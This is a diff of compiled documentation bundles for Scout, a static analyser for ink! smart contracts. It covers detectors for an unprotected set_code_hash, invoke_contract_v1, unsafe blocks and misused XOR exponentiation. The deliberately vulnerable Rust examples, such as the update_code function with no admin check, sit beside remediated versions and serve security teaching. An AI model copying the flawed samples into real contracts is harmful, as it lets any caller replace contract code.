caller."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"If users are allowed to call ",(0,o.kt)("inlineCode",{parentName:"p"},"terminate_contract"),", they can intentionally modify the contract behaviour, leading to the loss of all associated data/tokens and functionalities given by this contract or by others that depend on it."),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"None."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn update_code(&self, value: [u8; 32]) -> Result<(), Error> {\n let res = set_code_hash(&value);\n\n if res.is_err() {\n return res.map_err(|_| Error::InvalidCodeHash);\n }\n\n Ok(())\n }\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," pub fn update_code(&self, value: [u8; 32]) -> Result<(), Error> {\n if self.admin != Self::env().caller() {\n return Err(Error::NotAnAdmin);\n }\n\n let res = set_code_hash(&value);\n\n if res.is_err() {\n return res.map_err(|_| Error::InvalidCodeHash);\n }\n\n Ok(())\n }\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/set-code-hash"},"this link")))}u.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/8885c08c.b32dfa9b.js b/assets/js/8885c08c.b32dfa9b.js new file mode 100644 index 00000000..77ff9bfb --- /dev/null +++ b/assets/js/8885c08c.b32dfa9b.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[6065],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>m});var o=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function c(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(o=0;o=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var s=o.createContext({}),l=function(e){var t=o.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):c(c({},t),e)),n},u=function(e){var t=l(e.components);return o.createElement(s.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return o.createElement(o.Fragment,{},t)}},v=o.forwardRef((function(e,t){var n=e.components,r=e.mdxType,i=e.originalType,s=e.parentName,u=a(e,["components","mdxType","originalType","parentName"]),d=l(n),v=r,m=d["".concat(s,".").concat(v)]||d[v]||p[v]||i;return n?o.createElement(m,c(c({ref:t},u),{},{components:n})):o.createElement(m,c({ref:t},u))}));function m(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var i=n.length,c=new Array(i);c[0]=v;var a={};for(var s in t)hasOwnProperty.call(t,s)&&(a[s]=t[s]);a.originalType=e,a[d]="string"==typeof e?e:r,c[1]=a;for(var l=2;l{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>c,default:()=>p,frontMatter:()=>i,metadata:()=>a,toc:()=>l});var o=n(2564),r=(n(9496),n(9613));const i={},c="Don't use invoke_contract_v1",a={unversionedId:"detectors/dont-use-invoke-contract-v1",id:"detectors/dont-use-invoke-contract-v1",title:"Don't use invoke_contract_v1",description:"What it does",source:"@site/docs/detectors/32-dont-use-invoke-contract-v1.md",sourceDirName:"detectors",slug:"/detectors/dont-use-invoke-contract-v1",permalink:"/scout/docs/detectors/dont-use-invoke-contract-v1",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/32-dont-use-invoke-contract-v1.md",tags:[],version:"current",sidebarPosition:32,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Vec could be mapping",permalink:"/scout/docs/detectors/vec-could-be-mapping"},next:{title:"Don't use instantiate_contract_v1",permalink:"/scout/docs/detectors/dont-use-instantiate-contract-v1"}},s={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Implementation",id:"implementation",level:3}],u={toc:l},d="wrapper";function p(e){let{components:t,...n}=e;return(0,r.kt)(d,(0,o.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"dont-use-invoke_contract_v1"},"Don't use invoke_contract_v1"),(0,r.kt)("h3",{id:"what-it-does"},"What it does"),(0,r.kt)("p",null,"Checks that method ",(0,r.kt)("inlineCode",{parentName:"p"},"invoke_contract_v1")," is not used in the contract."),(0,r.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,r.kt)("p",null,"This will call into the original version of the host function. It is recommended to use ",(0,r.kt)("inlineCode",{parentName:"p"},"invoke_contract")," to use the latest version if the target runtime supports it."),(0,r.kt)("h4",{id:"more-info"},"More info"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://docs.rs/ink_env/5.0.0/ink_env/fn.invoke_contract_v1.html"},"https://docs.rs/ink_env/5.0.0/ink_env/fn.invoke_contract_v1.html"))),(0,r.kt)("h3",{id:"implementation"},"Implementation"),(0,r.kt)("p",null,"The detector's implementation can be found at ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dont-use-invoke-contract-v1"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/891653f1.1500eb0c.js b/assets/js/891653f1.1500eb0c.js new file mode 100644 index 00000000..1aafd4a4 --- /dev/null +++ b/assets/js/891653f1.1500eb0c.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1756],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>m});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var l=r.createContext({}),u=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},c=function(e){var t=u(e.components);return r.createElement(l.Provider,{value:t},e.children)},p="mdxType",f={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},d=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,a=e.originalType,l=e.parentName,c=s(e,["components","mdxType","originalType","parentName"]),p=u(n),d=i,m=p["".concat(l,".").concat(d)]||p[d]||f[d]||a;return n?r.createElement(m,o(o({ref:t},c),{},{components:n})):r.createElement(m,o({ref:t},c))}));function m(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=n.length,o=new Array(a);o[0]=d;var s={};for(var l in t)hasOwnProperty.call(t,l)&&(s[l]=t[l]);s.originalType=e,s[p]="string"==typeof e?e:i,o[1]=s;for(var u=2;u{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>o,default:()=>f,frontMatter:()=>a,metadata:()=>s,toc:()=>u});var r=n(2564),i=(n(9496),n(9613));const a={},o="Avoid Unsafe Block",s={unversionedId:"vulnerabilities/avoid-unsafe-block",id:"vulnerabilities/avoid-unsafe-block",title:"Avoid Unsafe Block",description:"Description",source:"@site/docs/vulnerabilities/26-avoid-unsafe-block.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/avoid-unsafe-block",permalink:"/scout/docs/vulnerabilities/avoid-unsafe-block",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/26-avoid-unsafe-block.md",tags:[],version:"current",sidebarPosition:26,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Buffering Unsized Types",permalink:"/scout/docs/vulnerabilities/buffering-unsized-types"},next:{title:"Warning sr25519_verify",permalink:"/scout/docs/vulnerabilities/warning-sr25519-verify"}},l={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:u},p="wrapper";function f(e){let{components:t,...n}=e;return(0,i.kt)(p,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"avoid-unsafe-block"},"Avoid Unsafe Block"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-unsafe-block"},(0,i.kt)("inlineCode",{parentName:"a"},"avoid-unsafe-block"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-unsafe-block/avoid-unsafe-block-1"},(0,i.kt)("inlineCode",{parentName:"a"},"avoid-unsafe-block-1")))),(0,i.kt)("p",null,"The use of ",(0,i.kt)("inlineCode",{parentName:"p"},"unsafe")," blocks in Rust is discouraged because they bypass Rust's memory safety checks, potentially leading to issues like undefined behavior and security vulnerabilities."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Rust enforces memory safety at compile time. When using an ",(0,i.kt)("inlineCode",{parentName:"p"},"unsafe")," block in Rust, it's up to the programmer to take this security measure into acount. However, this could lead to memory issues. For instance, disregarding the borrow checker, or dereferencing a null pointer. "),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn unsafe_function(&mut self, n: u64) -> u64 {\n unsafe {\n let mut i = n as f64;\n let mut y = i.to_bits();\n y = 0x5fe6ec85e7de30da - (y >> 1);\n i = f64::from_bits(y);\n i *= 1.5 - 0.5 * n as f64 * i * i;\n i *= 1.5 - 0.5 * n as f64 * i * i;\n\n let result_ptr: *mut f64 = &mut i;\n\n (*result_ptr).to_bits()\n }\n }\n")),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"To enforce memory safety, it's recommended not to use ",(0,i.kt)("inlineCode",{parentName:"p"},"unsafe"),". "),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn safe_function(&mut self, n: u64) -> u64 {\n let mut i = n as f64;\n let mut y = i.to_bits();\n y = 0x5fe6ec85e7de30da - (y >> 1);\n i = f64::from_bits(y);\n i *= 1.5 - 0.5 * n as f64 * i * i;\n i *= 1.5 - 0.5 * n as f64 * i * i;\n\n let result = &mut i;\n result.to_bits() \n }\n")),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/avoid-unsafe-block/avoid-unsafe-block-1/remediated-example/src/lib.rs"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html"},"https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html"))))}f.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/8f8ec5f4.95aa305c.js b/assets/js/8f8ec5f4.95aa305c.js new file mode 100644 index 00000000..8909b192 --- /dev/null +++ b/assets/js/8f8ec5f4.95aa305c.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[6235],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>f});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function a(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var l=r.createContext({}),s=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},p=function(e){var t=s(e.components);return r.createElement(l.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,i=e.originalType,l=e.parentName,p=c(e,["components","mdxType","originalType","parentName"]),u=s(n),m=o,f=u["".concat(l,".").concat(m)]||u[m]||d[m]||i;return n?r.createElement(f,a(a({ref:t},p),{},{components:n})):r.createElement(f,a({ref:t},p))}));function f(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var i=n.length,a=new Array(i);a[0]=m;var c={};for(var l in t)hasOwnProperty.call(t,l)&&(c[l]=t[l]);c.originalType=e,c[u]="string"==typeof e?e:o,a[1]=c;for(var s=2;s{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>a,default:()=>d,frontMatter:()=>i,metadata:()=>c,toc:()=>s});var r=n(2564),o=(n(9496),n(9613));const i={},a="Incorrect Exponentiation",c={unversionedId:"detectors/incorrect-exponentiation",id:"detectors/incorrect-exponentiation",title:"Incorrect Exponentiation",description:"What it does",source:"@site/docs/detectors/24-incorrect-exponentiation.md",sourceDirName:"detectors",slug:"/detectors/incorrect-exponentiation",permalink:"/scout/docs/detectors/incorrect-exponentiation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/24-incorrect-exponentiation.md",tags:[],version:"current",sidebarPosition:24,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Lazy storage on delegate",permalink:"/scout/docs/detectors/lazy-delegate"},next:{title:"Buffering Unsized Types",permalink:"/scout/docs/detectors/buffering-unsized-types"}},l={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:s},u="wrapper";function d(e){let{components:t,...n}=e;return(0,o.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"incorrect-exponentiation"},"Incorrect Exponentiation"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Warns about ",(0,o.kt)("inlineCode",{parentName:"p"},"^")," being a ",(0,o.kt)("inlineCode",{parentName:"p"},"bit XOR")," operation instead of an exponentiation. "),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"It can introduce unexpected behaviour in the smart contract."),(0,o.kt)("h4",{id:"more-info"},"More info"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://doc.rust-lang.org/std/ops/trait.BitXor.html#tymethod.bitxor"},"https://doc.rust-lang.org/std/ops/trait.BitXor.html#tymethod.bitxor"))),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn exp_data_by_3(&mut self) {\n self.data ^= 3\n }\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn exp_data_by_3(&mut self) {\n self.data = self.data.pow(3)\n }\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/incorrect-exponentiation"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/935f2afb.6c44c568.js b/assets/js/935f2afb.6c44c568.js new file mode 100644 index 00000000..1a5cc530 --- /dev/null +++ b/assets/js/935f2afb.6c44c568.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[53],{1109:e=>{e.exports=JSON.parse('{"pluginId":"default","version":"current","label":"Next","banner":null,"badge":false,"noIndex":false,"className":"docs-version-current","isLast":true,"docsSidebars":{"docsSidebar":[{"type":"link","label":"Getting Started","href":"/scout/docs/intro","docId":"intro"},{"type":"category","label":"Vulnerabilities","collapsible":true,"collapsed":true,"items":[{"type":"link","label":"Integer overflow or underflow","href":"/scout/docs/vulnerabilities/integer-overflow-or-underflow","docId":"vulnerabilities/integer-overflow-or-underflow"},{"type":"link","label":"Set contract storage","href":"/scout/docs/vulnerabilities/set-contract-storage","docId":"vulnerabilities/set-contract-storage"},{"type":"link","label":"Reentrancy","href":"/scout/docs/vulnerabilities/reentrancy","docId":"vulnerabilities/reentrancy"},{"type":"link","label":"Panic Error","href":"/scout/docs/vulnerabilities/panic-error","docId":"vulnerabilities/panic-error"},{"type":"link","label":"Unused return enum","href":"/scout/docs/vulnerabilities/unused-return-enum","docId":"vulnerabilities/unused-return-enum"},{"type":"link","label":"DoS unbounded operation","href":"/scout/docs/vulnerabilities/dos-unbounded-operation","docId":"vulnerabilities/dos-unbounded-operation"},{"type":"link","label":"DoS unexpected revert with vector","href":"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector","docId":"vulnerabilities/dos-unexpected-revert-with-vector"},{"type":"link","label":"Unsafe expect","href":"/scout/docs/vulnerabilities/unsafe-expect","docId":"vulnerabilities/unsafe-expect"},{"type":"link","label":"Unsafe unwrap","href":"/scout/docs/vulnerabilities/unsafe-unwrap","docId":"vulnerabilities/unsafe-unwrap"},{"type":"link","label":"Divide before multiply","href":"/scout/docs/vulnerabilities/divide-before-multiply","docId":"vulnerabilities/divide-before-multiply"},{"type":"link","label":"Delegate call","href":"/scout/docs/vulnerabilities/delegate-call","docId":"vulnerabilities/delegate-call"},{"type":"link","label":"Zero or test address","href":"/scout/docs/vulnerabilities/zero-or-test-address","docId":"vulnerabilities/zero-or-test-address"},{"type":"link","label":"Insufficiently random values","href":"/scout/docs/vulnerabilities/insufficiently-random-values","docId":"vulnerabilities/insufficiently-random-values"},{"type":"link","label":"Unrestricted Transfer From","href":"/scout/docs/vulnerabilities/unrestricted-transfer-from","docId":"vulnerabilities/unrestricted-transfer-from"},{"type":"link","label":"Assert violation","href":"/scout/docs/vulnerabilities/assert-violation","docId":"vulnerabilities/assert-violation"},{"type":"link","label":"Avoid core::mem::forget usage","href":"/scout/docs/vulnerabilities/avoid-core-mem-forget","docId":"vulnerabilities/avoid-core-mem-forget"},{"type":"link","label":"Avoid fromat! macro usage","href":"/scout/docs/vulnerabilities/avoid-format-string","docId":"vulnerabilities/avoid-format-string"},{"type":"link","label":"Unprotected Self Destruct","href":"/scout/docs/vulnerabilities/unprotected-self-destruct","docId":"vulnerabilities/unprotected-self-destruct"},{"type":"link","label":"Iterators over indexing","href":"/scout/docs/vulnerabilities/iterators-over-indexing","docId":"vulnerabilities/iterators-over-indexing"},{"type":"link","label":"Ink! version","href":"/scout/docs/vulnerabilities/ink-version","docId":"vulnerabilities/ink-version"},{"type":"link","label":"Unprotected Set Code Hash","href":"/scout/docs/vulnerabilities/unprotected-set-code-hash","docId":"vulnerabilities/unprotected-set-code-hash"},{"type":"link","label":"Unprotected mapping operation","href":"/scout/docs/vulnerabilities/unprotected-mapping-operation","docId":"vulnerabilities/unprotected-mapping-operation"},{"type":"link","label":"Lazy storage on delegate","href":"/scout/docs/vulnerabilities/lazy-delegate","docId":"vulnerabilities/lazy-delegate"},{"type":"link","label":"Incorrect Exponentiation","href":"/scout/docs/vulnerabilities/incorrect-exponentiation","docId":"vulnerabilities/incorrect-exponentiation"},{"type":"link","label":"Buffering Unsized Types","href":"/scout/docs/vulnerabilities/buffering-unsized-types","docId":"vulnerabilities/buffering-unsized-types"},{"type":"link","label":"Avoid Unsafe Block","href":"/scout/docs/vulnerabilities/avoid-unsafe-block","docId":"vulnerabilities/avoid-unsafe-block"},{"type":"link","label":"Warning sr25519_verify","href":"/scout/docs/vulnerabilities/warning-sr25519-verify","docId":"vulnerabilities/warning-sr25519-verify"},{"type":"link","label":"Lazy values not set","href":"/scout/docs/vulnerabilities/lazy-values-not-set","docId":"vulnerabilities/lazy-values-not-set"},{"type":"link","label":"Avoid autokey upgradable","href":"/scout/docs/vulnerabilities/avoid-autokey-upgradable","docId":"vulnerabilities/avoid-autokey-upgradable"},{"type":"link","label":"Non payable transferred value","href":"/scout/docs/vulnerabilities/non-payable-transferred-value","docId":"vulnerabilities/non-payable-transferred-value"},{"type":"link","label":"Vec could be mapping","href":"/scout/docs/vulnerabilities/vec-could-be-mapping","docId":"vulnerabilities/vec-could-be-mapping"},{"type":"link","label":"Don\'t use invoke_contract_v1","href":"/scout/docs/vulnerabilities/dont-use-invoke-contract-v1","docId":"vulnerabilities/dont-use-invoke-contract-v1"},{"type":"link","label":"Don\'t use instantiate_contract_v1","href":"/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1","docId":"vulnerabilities/dont-use-instantiate-contract-v1"}],"href":"/scout/docs/vulnerabilities/"},{"type":"category","label":"Detectors","collapsible":true,"collapsed":true,"items":[{"type":"link","label":"Integer overflow or underflow","href":"/scout/docs/detectors/integer-overflow-or-underflow","docId":"detectors/integer-overflow-or-underflow"},{"type":"link","label":"Set contract storage","href":"/scout/docs/detectors/set-contract-storage","docId":"detectors/set-contract-storage"},{"type":"link","label":"Reentrancy","href":"/scout/docs/detectors/reentrancy","docId":"detectors/reentrancy"},{"type":"link","label":"Panic error","href":"/scout/docs/detectors/panic-error","docId":"detectors/panic-error"},{"type":"link","label":"Unused return enum","href":"/scout/docs/detectors/unused-return-enum","docId":"detectors/unused-return-enum"},{"type":"link","label":"DoS unbounded operation","href":"/scout/docs/detectors/dos-unbounded-operation","docId":"detectors/dos-unbounded-operation"},{"type":"link","label":"DoS unexpected revert with vector","href":"/scout/docs/detectors/dos-unexpected-revert-with-vector","docId":"detectors/dos-unexpected-revert-with-vector"},{"type":"link","label":"Unsafe expect","href":"/scout/docs/detectors/unsafe-expect","docId":"detectors/unsafe-expect"},{"type":"link","label":"Unsafe unwrap","href":"/scout/docs/detectors/unsafe-unwrap","docId":"detectors/unsafe-unwrap"},{"type":"link","label":"Divide before multiply","href":"/scout/docs/detectors/divide-before-multiply","docId":"detectors/divide-before-multiply"},{"type":"link","label":"Delegate call","href":"/scout/docs/detectors/delegate-call","docId":"detectors/delegate-call"},{"type":"link","label":"Zero or test address","href":"/scout/docs/detectors/zero-or-test-address","docId":"detectors/zero-or-test-address"},{"type":"link","label":"Insuficciently random values","href":"/scout/docs/detectors/insufficiently-random-values","docId":"detectors/insufficiently-random-values"},{"type":"link","label":"Unrestricted Transfer From","href":"/scout/docs/detectors/unrestricted-transfer-from","docId":"detectors/unrestricted-transfer-from"},{"type":"link","label":"Assert violation","href":"/scout/docs/detectors/assert-violation","docId":"detectors/assert-violation"},{"type":"link","label":"Avoid core::mem::forget usage","href":"/scout/docs/detectors/avoid-core-mem-forget","docId":"detectors/avoid-core-mem-forget"},{"type":"link","label":"Avoid fromat! macro usage","href":"/scout/docs/detectors/avoid-format-string","docId":"detectors/avoid-format-string"},{"type":"link","label":"Unprotected self destruct","href":"/scout/docs/detectors/unprotected-self-destruct","docId":"detectors/unprotected-self-destruct"},{"type":"link","label":"Iterators over indexing","href":"/scout/docs/detectors/iterators-over-indexing","docId":"detectors/iterators-over-indexing"},{"type":"link","label":"Ink! version","href":"/scout/docs/detectors/ink-version","docId":"detectors/ink-version"},{"type":"link","label":"Unprotected set code hash","href":"/scout/docs/detectors/unprotected-set-code-hash","docId":"detectors/unprotected-set-code-hash"},{"type":"link","label":"Unprotected Mapping Operation","href":"/scout/docs/detectors/unprotected-mapping-operation","docId":"detectors/unprotected-mapping-operation"},{"type":"link","label":"Lazy storage on delegate","href":"/scout/docs/detectors/lazy-delegate","docId":"detectors/lazy-delegate"},{"type":"link","label":"Incorrect Exponentiation","href":"/scout/docs/detectors/incorrect-exponentiation","docId":"detectors/incorrect-exponentiation"},{"type":"link","label":"Buffering Unsized Types","href":"/scout/docs/detectors/buffering-unsized-types","docId":"detectors/buffering-unsized-types"},{"type":"link","label":"Avoid Unsafe Block","href":"/scout/docs/detectors/avoid-unsafe-block","docId":"detectors/avoid-unsafe-block"},{"type":"link","label":"Warning sr25519_verify","href":"/scout/docs/detectors/warning-sr25519-verify","docId":"detectors/warning-sr25519-verify"},{"type":"link","label":"Lazy values get and not set","href":"/scout/docs/detectors/lazy-values-not-set","docId":"detectors/lazy-values-not-set"},{"type":"link","label":"Avoid AutoKey Upgradable","href":"/scout/docs/detectors/avoid-autokey-upgradable","docId":"detectors/avoid-autokey-upgradable"},{"type":"link","label":"Non payable transferred value","href":"/scout/docs/detectors/non-payable-transferred-value","docId":"detectors/non-payable-transferred-value"},{"type":"link","label":"Vec could be mapping","href":"/scout/docs/detectors/vec-could-be-mapping","docId":"detectors/vec-could-be-mapping"},{"type":"link","label":"Don\'t use invoke_contract_v1","href":"/scout/docs/detectors/dont-use-invoke-contract-v1","docId":"detectors/dont-use-invoke-contract-v1"},{"type":"link","label":"Don\'t use instantiate_contract_v1","href":"/scout/docs/detectors/dont-use-instantiate-contract-v1","docId":"detectors/dont-use-instantiate-contract-v1"}],"href":"/scout/docs/detectors/"},{"type":"link","label":"Contribute","href":"/scout/docs/contribute","docId":"contribute"},{"type":"link","label":"Architecture","href":"/scout/docs/architecture","docId":"architecture"}]},"docs":{"architecture":{"id":"architecture","title":"Architecture","description":"Scout is built on Trail of Bits\u2019 Dylint, featuring a new set of lints. Dylint is a static analyzer that interfaces with the Rust compiler, providing access to the High-Level Intermediate Representation and the Mid-Level Intermediate Representation. These representations enable the accurate capture of many vulnerabilities. The lints are specifically designed to detect certain vulnerability classes. They are files integrated into the tool during compilation, and adding new lints, or detectors as we call them, is straightforward for any contributor. We have also contributed to the Dylint project, enhancing its capabilities to produce outputs in various formats, including PDF reports.","sidebar":"docsSidebar"},"contribute":{"id":"contribute","title":"Contribute","description":"Thank you for your interest in contributing to the development of new detectors.","sidebar":"docsSidebar"},"detectors/assert-violation":{"id":"detectors/assert-violation","title":"Assert violation","description":"What it does","sidebar":"docsSidebar"},"detectors/avoid-autokey-upgradable":{"id":"detectors/avoid-autokey-upgradable","title":"Avoid AutoKey Upgradable","description":"What it does","sidebar":"docsSidebar"},"detectors/avoid-core-mem-forget":{"id":"detectors/avoid-core-mem-forget","title":"Avoid core::mem::forget usage","description":"What it does","sidebar":"docsSidebar"},"detectors/avoid-format-string":{"id":"detectors/avoid-format-string","title":"Avoid fromat! macro usage","description":"What it does","sidebar":"docsSidebar"},"detectors/avoid-unsafe-block":{"id":"detectors/avoid-unsafe-block","title":"Avoid Unsafe Block","description":"What it does","sidebar":"docsSidebar"},"detectors/buffering-unsized-types":{"id":"detectors/buffering-unsized-types","title":"Buffering Unsized Types","description":"What it does","sidebar":"docsSidebar"},"detectors/delegate-call":{"id":"detectors/delegate-call","title":"Delegate call","description":"What it does","sidebar":"docsSidebar"},"detectors/divide-before-multiply":{"id":"detectors/divide-before-multiply","title":"Divide before multiply","description":"What it does","sidebar":"docsSidebar"},"detectors/dont-use-instantiate-contract-v1":{"id":"detectors/dont-use-instantiate-contract-v1","title":"Don\'t use instantiate_contract_v1","description":"What it does","sidebar":"docsSidebar"},"detectors/dont-use-invoke-contract-v1":{"id":"detectors/dont-use-invoke-contract-v1","title":"Don\'t use invoke_contract_v1","description":"What it does","sidebar":"docsSidebar"},"detectors/dos-unbounded-operation":{"id":"detectors/dos-unbounded-operation","title":"DoS unbounded operation","description":"What it does","sidebar":"docsSidebar"},"detectors/dos-unexpected-revert-with-vector":{"id":"detectors/dos-unexpected-revert-with-vector","title":"DoS unexpected revert with vector","description":"What it does","sidebar":"docsSidebar"},"detectors/incorrect-exponentiation":{"id":"detectors/incorrect-exponentiation","title":"Incorrect Exponentiation","description":"What it does","sidebar":"docsSidebar"},"detectors/ink-version":{"id":"detectors/ink-version","title":"Ink! version","description":"What it does","sidebar":"docsSidebar"},"detectors/insufficiently-random-values":{"id":"detectors/insufficiently-random-values","title":"Insuficciently random values","description":"What it does","sidebar":"docsSidebar"},"detectors/integer-overflow-or-underflow":{"id":"detectors/integer-overflow-or-underflow","title":"Integer overflow or underflow","description":"What it does","sidebar":"docsSidebar"},"detectors/iterators-over-indexing":{"id":"detectors/iterators-over-indexing","title":"Iterators over indexing","description":"What it does","sidebar":"docsSidebar"},"detectors/lazy-delegate":{"id":"detectors/lazy-delegate","title":"Lazy storage on delegate","description":"What it 